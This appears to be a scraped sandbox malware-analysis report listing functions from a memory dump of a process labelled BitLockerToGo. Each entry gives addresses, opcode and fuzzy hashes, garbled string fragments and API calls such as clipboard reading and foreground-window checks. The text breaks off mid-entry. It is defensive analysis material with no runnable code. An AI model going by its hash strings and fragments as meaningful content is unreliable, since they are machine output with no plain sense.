Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -,#$KTPF$PLYY
API String ID: 0-933768355
Opcode ID: c830612fce113daf95d0515b4dadca89eb48f8cf62f5e216fbc303d1d643f3e5
Instruction ID: 4b084376beab0e5d1c77c76ceee0ef197f343d228e61cd2838847b206eb42c2b
Opcode Fuzzy Hash: c830612fce113daf95d0515b4dadca89eb48f8cf62f5e216fbc303d1d643f3e5
Instruction Fuzzy Hash: 27E13870108B418BE7358F39C5A03A3BBE2EF9A310F188A6DC5EB0B386C7796505CB55

Function 0040F6E0 Relevance: 4.2, Strings: 3, Instructions: 414
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4Ho, xrefs: 0040FA95
>)67, xrefs: 0040F840
|, xrefs: 0040F6FE

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4Ho$>)67$|
API String ID: 0-954626911
Opcode ID: d96bc924c7f09152f10dcaaffdd2465935632d14aa74084ae514f16a4ff0fba9
Instruction ID: a49d84cc3b78b00a8920eaac330edcf7beaceddc11f8ddb3ed92fa907981174f
Opcode Fuzzy Hash: d96bc924c7f09152f10dcaaffdd2465935632d14aa74084ae514f16a4ff0fba9
Instruction Fuzzy Hash: 19D1297264C3904BD324CF2484913ABFBE2ABD1714F18C93DE8D95B785D6799C0E8B86

Function 0040FDCC Relevance: 2.9, Strings: 2, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

eYTg, xrefs: 0040FE02
TeBc, xrefs: 0040FE09

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: TeBc$eYTg
API String ID: 0-1520256206
Opcode ID: 32695e0db0345247e68cbe9b8b32f82eb5ce7c3f205a617f9132e5ce00805434
Instruction ID: e6afab19e6d45f0cdd9358ecf5c9068d7ae2c4db10355e1d3b0525c8a52db234
Opcode Fuzzy Hash: 32695e0db0345247e68cbe9b8b32f82eb5ce7c3f205a617f9132e5ce00805434
Instruction Fuzzy Hash: 9AE179B5201701CFD3248F25D884756BBB2FB49318F2889ADD45A8F7A2CB76E847CB54

Function 00410310 Relevance: 2.6, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>>, xrefs: 004103E6
2W[F, xrefs: 004105B7

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2W[F$>>
API String ID: 0-892849328
Opcode ID: c0d4ce0fed8bd8708f299d1196397565a226412dcdfafdc05830167a4d9ece94
Instruction ID: 7ecc30d320eb1d122996a0197f2796ef880947f6805e3d8819134336918cb3b1
Opcode Fuzzy Hash: c0d4ce0fed8bd8708f299d1196397565a226412dcdfafdc05830167a4d9ece94
Instruction Fuzzy Hash: 0F513EF09013699BEB76CF42AC8078EBA79AB41384F1096DCD2583B245CB744BC5CF88

Function 0041F5CB Relevance: 1.7, APIs: 1, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a96c9e6bc9f89b0cae13e9a2b3900932862b8acd73fdc490aa97c827bbf1fd4
Instruction ID: 9df5a48c1f384c43e84d3540743b2144e5ec3da5c4cd4c7ef4a43b094e2083ea
Opcode Fuzzy Hash: 4a96c9e6bc9f89b0cae13e9a2b3900932862b8acd73fdc490aa97c827bbf1fd4
Instruction Fuzzy Hash: 8881E3719083418FC714CF24C4416ABB7F1EF96358F148A6EE4D987391E738E98ACB4A

Function 0042D020 Relevance: 1.6, Strings: 1, Instructions: 345COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0042D0D4

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: MNOP
API String ID: 2994545307-783613192
Opcode ID: 3c71e2226e8c851433d7d95e565c2f009b9be9b20bd935852684ed765de002f7
Instruction ID: dd5defce2b942ec2088a2711cbd035aa23255bd63a643a8edf8abe79241e31fa
Opcode Fuzzy Hash: 3c71e2226e8c851433d7d95e565c2f009b9be9b20bd935852684ed765de002f7
Instruction Fuzzy Hash: C1B16C71F083209BD710DE54D88177B7792EF85314F98852EE8858B356E37CDD16839A

Function 00444200 Relevance: 1.6, APIs: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00444275

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: acf2d24f1801303b85d37d33e3fad070c0ecd0e87c6cc86b1154880487b595d3
Instruction ID: 650d2d174b858adb30b1fe32c8abeb22e8a1e3c9dda950aa54f6d1c114007f05
Opcode Fuzzy Hash: acf2d24f1801303b85d37d33e3fad070c0ecd0e87c6cc86b1154880487b595d3
Instruction Fuzzy Hash: 8911887098A30087E3086B30BD626AB3765EF57386F04047EE88163693C27ED859C69B

Function 0043D8D0 Relevance: 1.6, APIs: 1, Instructions: 65comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0044AB30,00000000,00000001,0044AB20,00000000), ref: 0043D9DA

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 27d253f8f930e3fe0f9be234cad446f85956db55832bd60ce15f4b12e7bcacd8
Instruction ID: e0ff025836235197c4d72c12eaa34ffcf18c2ef1548df4c58337924edd7b00df
Opcode Fuzzy Hash: 27d253f8f930e3fe0f9be234cad446f85956db55832bd60ce15f4b12e7bcacd8
Instruction Fuzzy Hash: 4921BAB1058348AFE310CF12C846B6BBBE4FBC5705F00891DF1D41B280EBB99909CBA6

Function 004442C0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044781A,005C003F,00000006,?,?,00000018,?,?,?), ref: 004442EE

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0041F8F4 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ee7f36f8b1c31c05cd2fe01c4a3b2c0ca0a84ceaf716178feb048dec637aeea
Instruction ID: 7184001dda081846bda17e4673fd686dda6da311fc5397dd8e4165227f4b630b
Opcode Fuzzy Hash: 7ee7f36f8b1c31c05cd2fe01c4a3b2c0ca0a84ceaf716178feb048dec637aeea
Instruction Fuzzy Hash: 379114B5908311CBD7248F24D8627BB73A1FF95348F04483EE88A97391E73D984AC796

Function 00447F40 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bddecc69b3b188f9068ae6243d68d0200737bcb9f5c751eed9ae8aaa04895d6a
Instruction ID: 79c6c9ce9818392080007ae82da97a66b28a4cf0916767f4d1f749a2f9746b92
Opcode Fuzzy Hash: bddecc69b3b188f9068ae6243d68d0200737bcb9f5c751eed9ae8aaa04895d6a
Instruction Fuzzy Hash: 72815336A043019BE724DF28C84072FB3A2EFD5751F1A846EE9859B355EF74DD018789

Function 004108C6 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43f80381c0f4c54bce48b2cf05c6e961f0dd350ea6331be4f6a442396fe08a6e
Instruction ID: c19ea888a829bc12250ef0efbbd48755bba95174001d63de8f22be3489d76558
Opcode Fuzzy Hash: 43f80381c0f4c54bce48b2cf05c6e961f0dd350ea6331be4f6a442396fe08a6e
Instruction Fuzzy Hash: DB311EB591021A8BEB00CFA0C860BFEB774FF55705F14411AE841BB395DBB89D41CB68

Function 00443A46 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05abf36f9a8003e91a2efd59be1dc3cd8fc5b3ec341ad228425099d4e94ab7ab
Instruction ID: 8525b8ac482b7ba8fd18af1338825266ca8dc8f23f6ec43551a7c56a51d33395
Opcode Fuzzy Hash: 05abf36f9a8003e91a2efd59be1dc3cd8fc5b3ec341ad228425099d4e94ab7ab
Instruction Fuzzy Hash: 3B01DE7AA04246BFC304CF29CC00629BB72BB86310F24C699D4B9A7B04C330F506CB99

Function 00441240 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 004412D5

Strings

~ORr, xrefs: 0044126B

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID: ~ORr
API String ID: 3298025750-3890539912
Opcode ID: a7ed311b7ecd59a3d18b07814651be31a717d42e4bac7d9a8bad73ba3a0446d2
Instruction ID: c9f9eb99d00e1ccfe8cae45bf923cca7ed5081ffcd2c64005d4b2a203a6a678e
Opcode Fuzzy Hash: a7ed311b7ecd59a3d18b07814651be31a717d42e4bac7d9a8bad73ba3a0446d2
Instruction Fuzzy Hash: FD0168366903148BD300CBA8EC94AA777A1EBC5312F2A053ED8C14B791D7759C1AC7E1

Function 00444FB4 Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00444FB4
GetForegroundWindow.USER32 ref: 00444FD0

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: c56994efcee5e27c2b8b0f89403b9397af5f81ed903007a2ff787e736b492b78
Instruction ID: 6e142f68f1c9173ed153f8532b88a0b4ae2c747098d469ef641d0911125606f4
Opcode Fuzzy Hash: c56994efcee5e27c2b8b0f89403b9397af5f81ed903007a2ff787e736b492b78
Instruction Fuzzy Hash: 03D0A9BE4214019BE208EB21BC4A4FA3712EB4330E704043BF50701233EB389107CA9E

Function 0043D9EC Relevance: 1.6, APIs: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(01D707D6), ref: 0043DA94

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: d0f162de579ce5efdbbd3767b9a4c64b4b3e0b1bac443ed873df5aca819328f3
Instruction ID: 7d2b66b2e687996aac93d182975d32ec1845b0578f073ee9b9e3d440059385a9
Opcode Fuzzy Hash: d0f162de579ce5efdbbd3767b9a4c64b4b3e0b1bac443ed873df5aca819328f3
Instruction Fuzzy Hash: B91123769087205BD300CF28C80831BBAE1AFC6315F19CA5CB8D9AB390D7B4C805CBC2

Function 004411D2 Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0044122D

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 82e21c62ed8b12385b2a3ddd007e77788390f306fee56a4348f52a75e03f8d24
Instruction ID: c12bc51a89f5dcb68f3a78adc6c6e68f4b62e3801d607ea38d2c64e7291d765c
Opcode Fuzzy Hash: 82e21c62ed8b12385b2a3ddd007e77788390f306fee56a4348f52a75e03f8d24
Instruction Fuzzy Hash: D9F02B33E155204BE71D9628EC60A6FB643DBD9605F3F857DC6C1A3B68CD746C0286C4

Function 004372CF Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00437319

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 9e9ff80d164c44ffbae2fc7f928a73e22c391e4abbeb5f0ce5d873e7abcc6b39
Instruction ID: 7f52dd9f2f6fff54471cfa0eb39a74ef5115ca04b36049c3c855d4fad7ed04ef
Opcode Fuzzy Hash: 9e9ff80d164c44ffbae2fc7f928a73e22c391e4abbeb5f0ce5d873e7abcc6b39
Instruction Fuzzy Hash: 84F07FB42097028FE350DF25C1A974BBBE1BB85308F10C91CE4A54B290DBB9A9498FC2

Function 004369E8 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00436A34

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: fb5d40af6ca2c0883614e4ea179b561b13e0b4699f0ebae9c99d8016c731c24b
Instruction ID: 7039392e6d56b3b7f4386521318ffa24b2ba1af750e806eedf90d8c1f23d3c67
Opcode Fuzzy Hash: fb5d40af6ca2c0883614e4ea179b561b13e0b4699f0ebae9c99d8016c731c24b
Instruction Fuzzy Hash: 00F01FB46083429FE320DF25C56975BBBE4BB85348F10891CE4984B291C7BA99498FC6

Function 00411761 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411773

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 9bfb7e78e804079e0c46e3f94306e994fa1dd51ccba10bceb8791853c0812004
Instruction ID: 4fcdb96608f709017490788b749a5a3361cda3ac1f0383e1edee956c8f3d69ec
Opcode Fuzzy Hash: 9bfb7e78e804079e0c46e3f94306e994fa1dd51ccba10bceb8791853c0812004
Instruction Fuzzy Hash: 53D092343CC300B6F2300B08BC27F043250A303F22F700324B3247C0E58AE071008A1D

Function 0043DAC4 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043DAD6

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 71245369313d495854a1a26fba33b3fbc8c9e40afcf87db60567100b52f09851
Instruction ID: 7e3a72a5d4681110314f2f29f3b07a3ff5a1a90310276de2c07d4fad2e42eee6
Opcode Fuzzy Hash: 71245369313d495854a1a26fba33b3fbc8c9e40afcf87db60567100b52f09851
Instruction Fuzzy Hash: F1D04C347D4304B7F2310B15FC17F047525B746F03F600521B3457C0E18AF1A2109A4D

Function 00411740 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411751

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: cf3f469b507755306c6ee0754248f955b1068e730f00a642d7acef524aaa597c
Instruction ID: 822c6d977317d53c2a5c11aee2e0c90b5f34371c0e42fed4ad2a9cafb58682c7
Opcode Fuzzy Hash: cf3f469b507755306c6ee0754248f955b1068e730f00a642d7acef524aaa597c
Instruction Fuzzy Hash: 7AC08C30418208BBF220272DAD0AF03392CD303729F000330B9A0440D2AA606814C5FA

Non-executed Functions

Function 00421AB0 Relevance: 25.3, Strings: 19, Instructions: 1504COMMON

Download Yara Rule

Strings

8967, xrefs: 00421F2B
@`Sr, xrefs: 00421CC7
%fs!, xrefs: 00421CF3
|, xrefs: 00421DCF
s.!1, xrefs: 00421C6F
45, xrefs: 004227E7
cHo|, xrefs: 00421D14
nvwp, xrefs: 00421D35
22.h, xrefs: 00421FEB, 00421FFF
, xrefs: 0042268C
MNOH, xrefs: 00421C9B
Q[EV, xrefs: 00421D09
()&', xrefs: 00421F57
x, xrefs: 00422DC1
OP[9, xrefs: 0042247B
9:;4, xrefs: 00421C7A
yz{{, xrefs: 00421D2A
lCax, xrefs: 00421D1F
ijkd, xrefs: 00421CFE

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $%fs!$()&'$22.h$45$8967$9:;4$@`Sr$MNOH$OP[9$Q[EV$cHo|$ijkd$lCax$nvwp$s.!1$x$yz{{$|
API String ID: 0-1735489010
Opcode ID: a3ae3db1f72cbcd01799b68ac05e9a23c4a2c241fd77e3024f9ec7de06e459f2
Instruction ID: d27214582b08baf78050c3c4ae73fac2aabddd8c46f21acc2db907ee47230ca5
Opcode Fuzzy Hash: a3ae3db1f72cbcd01799b68ac05e9a23c4a2c241fd77e3024f9ec7de06e459f2
Instruction Fuzzy Hash: 76B221706083819BE734CF24D8907ABBBE2EFD6304F58891DE5C98B392D7B89405CB56

Function 00401000 Relevance: 19.5, Strings: 14, Instructions: 2000COMMON

Download Yara Rule

Strings

, xrefs: 004037C4
-, xrefs: 00401CED
gfff, xrefs: 00401D95
0123456789ABCDEFXP, xrefs: 004013EC, 0040145F
, xrefs: 004037BD
, xrefs: 004037E0
, xrefs: 00403856
, xrefs: 004037D2
gfff, xrefs: 00401D23
gfff, xrefs: 00401D38
gfff, xrefs: 00401DDF
, xrefs: 004037CB
, xrefs: 004037D9
0123456789abcdefxp, xrefs: 004013FA, 0040146C

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $-$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff$gfff
API String ID: 0-3131871939
Opcode ID: 39662a6afeb9aa7edc3b52a31259f0bf16b8304617e35ebb9e108bc35c868c1f
Instruction ID: 38ece412f4d1305739310bafe47528d0b9afabff695d8be9c639c9a59b3ea4ed
Opcode Fuzzy Hash: 39662a6afeb9aa7edc3b52a31259f0bf16b8304617e35ebb9e108bc35c868c1f
Instruction Fuzzy Hash: 09E2F2716093418FC718CF28C49436BBBE2AB95314F18867EE495AB3D1D378DD46CB8A

Function 00420FE9 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 478COMMON

Download Yara Rule

Strings

PW, xrefs: 004211AF
wr, xrefs: 00421251
Y|, xrefs: 004212F7, 004212FE

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: PW$Y|$wr
API String ID: 0-2263561277
Opcode ID: 6d99af540e4abc2612ea7af0babd86b67eba03daaf8d0dec55b00adec6f609bb
Instruction ID: 836e795dc3a6a6951465090a0755d9f24f51ce8379c934f2512c7f5bdaf57535
Opcode Fuzzy Hash: 6d99af540e4abc2612ea7af0babd86b67eba03daaf8d0dec55b00adec6f609bb
Instruction Fuzzy Hash: 6012BEB5609391CBC324CF29D8512ABBBE1FFD5314F148A2DE4D98B390E7389941CB86

Function 00438A30 Relevance: 9.1, APIs: 6, Instructions: 139clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00438A48
GetWindowLongW.USER32 ref: 00438A73
GetClipboardData.USER32 ref: 00438A83
CloseClipboard.USER32 ref: 00438BDC

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 382aa81443e1c6d37f1c81bea4e41c4af0190f2b80d24c27bdab5bd6368e22b9
Instruction ID: 5b89dc6d59e55e3a6ce5feea3654ac742ab26a8dce0357985b57151cb4c0cb17
Opcode Fuzzy Hash: 382aa81443e1c6d37f1c81bea4e41c4af0190f2b80d24c27bdab5bd6368e22b9
Instruction Fuzzy Hash: 6451B6B1D087468FDB00ABBC94453AEFFB09B16320F14467EF4A1962C1D6389646C797

Function 0042D420 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 325COMMON

Download Yara Rule

Strings

LP, xrefs: 0042DCBD, 0042DCC2
2B, xrefs: 0042EB23
*, xrefs: 0042DE17
<=, xrefs: 0042DD56

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: *$2B$<=$LP
API String ID: 0-162656369
Opcode ID: bba36f24c102c591de2bffe78ed3c7827764e049e7a281ab1cb89b4d76fdc406
Instruction ID: bdb2b4ff058e132cd50c61e93f34de9b76f6ead3cd9f4328d69b624b3b7e3af3
Opcode Fuzzy Hash: bba36f24c102c591de2bffe78ed3c7827764e049e7a281ab1cb89b4d76fdc406
Instruction Fuzzy Hash: FDA1EDB2A083419BE310DF21E84025BBBE2FFC6354F54892DE4C59B351E7788949CB87

Function 004466F0 Relevance: 8.4, Strings: 6, Instructions: 925COMMON

Download Yara Rule

Strings

"rD, xrefs: 00447212
MNOP, xrefs: 00446CB0, 00446CB1
bpD, xrefs: 00447059
RlD, xrefs: 00446C00
rlD, xrefs: 00446C62
koD, xrefs: 00446F05

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "rD$MNOP$RlD$bpD$koD$rlD
API String ID: 0-406179893
Opcode ID: 6a210df2170431f10f028ff0b25c52225aa814bdfac35bdaf061c6ccc0928756
Instruction ID: 2ad0054f88d0a31c720170a2ac0a191b5e12152168221190a788aedced7b7e39
Opcode Fuzzy Hash: 6a210df2170431f10f028ff0b25c52225aa814bdfac35bdaf061c6ccc0928756
Instruction Fuzzy Hash: 25521276B08311CFD708CF28D8A026AB7E2FB8A315F1A847ED48697352D774D946CB85

Function 00446AA0 Relevance: 8.2, Strings: 6, Instructions: 689COMMON

Download Yara Rule

Strings

"rD, xrefs: 00447212
MNOP, xrefs: 00446CB0, 00446CB1
bpD, xrefs: 00447059
RlD, xrefs: 00446C00
rlD, xrefs: 00446C62
koD, xrefs: 00446F05

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "rD$MNOP$RlD$bpD$koD$rlD
API String ID: 0-406179893
Opcode ID: 3afd024c09c8f4e3f9e038fed5b0680b3e0905bc20750ea30bb0639aa7960774
Instruction ID: 0d3c0a34b0c7f2bda6b9c2ad40935ae2538b764a9e03d8a77062fe5cf5224ad0
Opcode Fuzzy Hash: 3afd024c09c8f4e3f9e038fed5b0680b3e0905bc20750ea30bb0639aa7960774
Instruction Fuzzy Hash: 7422FD36B08311CFC708CF68E99026AB7E2FB8A315F1A857ED48597762D374E845CB85

Function 00446BB0 Relevance: 8.2, Strings: 6, Instructions: 672COMMON

Download Yara Rule

Strings

"rD, xrefs: 00447212
MNOP, xrefs: 00446CB0, 00446CB1
bpD, xrefs: 00447059
RlD, xrefs: 00446C00
rlD, xrefs: 00446C62
koD, xrefs: 00446F05

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "rD$MNOP$RlD$bpD$koD$rlD
API String ID: 0-406179893
Opcode ID: 8a1a26636fe8f9ae544f2c1992a448c6edbea5a4b0a5ed36d256c72b1e818340
Instruction ID: 18aecb7f58442ab272fd49af5572027e24a4e6bffacdaf05d7047bf41a402aad
Opcode Fuzzy Hash: 8a1a26636fe8f9ae544f2c1992a448c6edbea5a4b0a5ed36d256c72b1e818340
Instruction Fuzzy Hash: 5312F136708311CFD708CF28E89026AB7E2FB8A315F1A857ED485973A2D774D946CB85

Function 0040DC00 Relevance: 7.7, Strings: 6, Instructions: 218COMMON

Download Yara Rule

Strings

4, xrefs: 0040DD56
sfoj, xrefs: 0040DCF6
uawh, xrefs: 0040DD26
>G, xrefs: 0040DC8D
cae`, xrefs: 0040DD1E
~ug}, xrefs: 0040DD0E

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
